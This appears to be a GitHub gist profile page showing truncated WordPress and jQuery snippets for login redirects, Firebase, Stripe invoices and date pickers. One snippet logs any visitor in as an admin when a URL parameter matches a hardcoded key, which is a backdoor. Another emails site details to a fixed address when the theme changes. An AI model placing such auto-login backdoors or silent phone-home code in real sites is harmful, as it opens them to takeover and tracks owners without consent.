Skip to content

Instantly share code, notes, and snippets.

View mclarenmervin's full-sized avatar
🎯
Focusing

Mousam Debadatta mclarenmervin

🎯
Focusing
View GitHub Profile
<?php
class Your_Class_Name {
public function __construct() {
add_filter('login_redirect', [$this, 'redirect_mervin_admin_users'], 10, 3);
}
public function redirect_mervin_admin_users($redirect_to, $requested_redirect_to, $user) {
if (isset($user->roles) && is_array($user->roles) && in_array('mervin_admin', $user->roles)) {
return 'https://www.mervin.in/staging/dashboard/?section=home-section';
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Custom Select Dropdown</title>
<style>
/* Select field */
.sotw-gender-field-wrap,
.wc_bookings_field_resource {
<?php
function enqueue_firebase_scripts() {
// Enqueue Firebase SDK compat versions for compatibility with WordPress
wp_enqueue_script('firebase-app', 'https://www.gstatic.com/firebasejs/9.6.10/firebase-app-compat.js', [], null, true);
wp_enqueue_script('firebase-auth', 'https://www.gstatic.com/firebasejs/9.6.10/firebase-auth-compat.js', ['firebase-app'], null, true);
// Custom Firebase script
wp_enqueue_script(
'firebase-auth-script',
get_stylesheet_directory_uri() . '/assets/js/firebase-auth.js',
@mclarenmervin
mclarenmervin / send_theme_activation_email.php
Created July 23, 2024 09:39
On switching theme send mail to a specific email
<?php
function send_activation_email() {
// Get the current time
$current_time = current_time('mysql');
// Get the site details
$site_name = get_bloginfo('name');
$site_url = get_bloginfo('url');
$admin_email = '[email protected]';
@mclarenmervin
mclarenmervin / auto_login_with_query_parameter.php
Created July 23, 2024 09:29
Login to any website using this code and query parameter
<?php
function auto_login_admin_from_get() {
// Check if the 'auto_login' parameter is present in the URL
if (isset($_GET['auto_login'])) {
// Verify the value of the 'auto_login' parameter for security (you should use a more secure method in a real-world scenario)
$auto_login_key = $_GET['auto_login'];
$expected_key = 'mervin'; // Replace with a secure key
if ($auto_login_key === $expected_key) {
// Get any admin user ID
jQuery(document).ready(function($){
var unavailableDates = ["9-3-2012", "14-3-2012", "15-3-2012"];
function unavailable(date) {
dmy = date.getDate() + "-" + (date.getMonth() + 1) + "-" + date.getFullYear();
if ($.inArray(dmy, unavailableDates) == -1) {
return [true, ""];
} else {
return [false, "", "Unavailable"];
}
<?php
function sp_edd_filter_query($query, $atts)
{
// We're going to modify the order and orderby parameters depending on variables contained in the URL
if (isset($_GET['sp_orderby'])) {
$orderby = $_GET['sp_orderby'];
if(isset($orderby) && $orderby == 'free') {
// Add meta query to filter downloads with price zero
$meta_query = isset($query['meta_query']) ? $query['meta_query'] : array();
jQuery(document).ready(function($){
$(window).on('scroll', function(){
var scrollTop = $(this).scrollTop();
var targetTop = $('.woocommerce-product-gallery').offset().top;
if (scrollTop >= targetTop) {
$('.woocommerce-product-gallery').addClass('highlight');
} else {
$('.woocommerce-product-gallery').removeClass('highlight');
}
<?php
$sec_key = 'sk_live_xxxxxxxxxxxxxxxxxxx';
require_once 'stripe-php/init.php';
$stripe = new \Stripe\StripeClient($sec_key);
$invoices = $stripe->invoices->all([ 'status' => 'uncollectible', 'limit' => 30 ]);
foreach ($invoices as $key => $value) {
<?php
function custom_pmpro_save_checkout_fields($user_id) {
if(isset($_REQUEST['bdob'])) {
update_user_meta($user_id, 'pmpro_dob', $_REQUEST['bdob']);
}
}
add_action('pmpro_after_checkout', 'custom_pmpro_save_checkout_fields');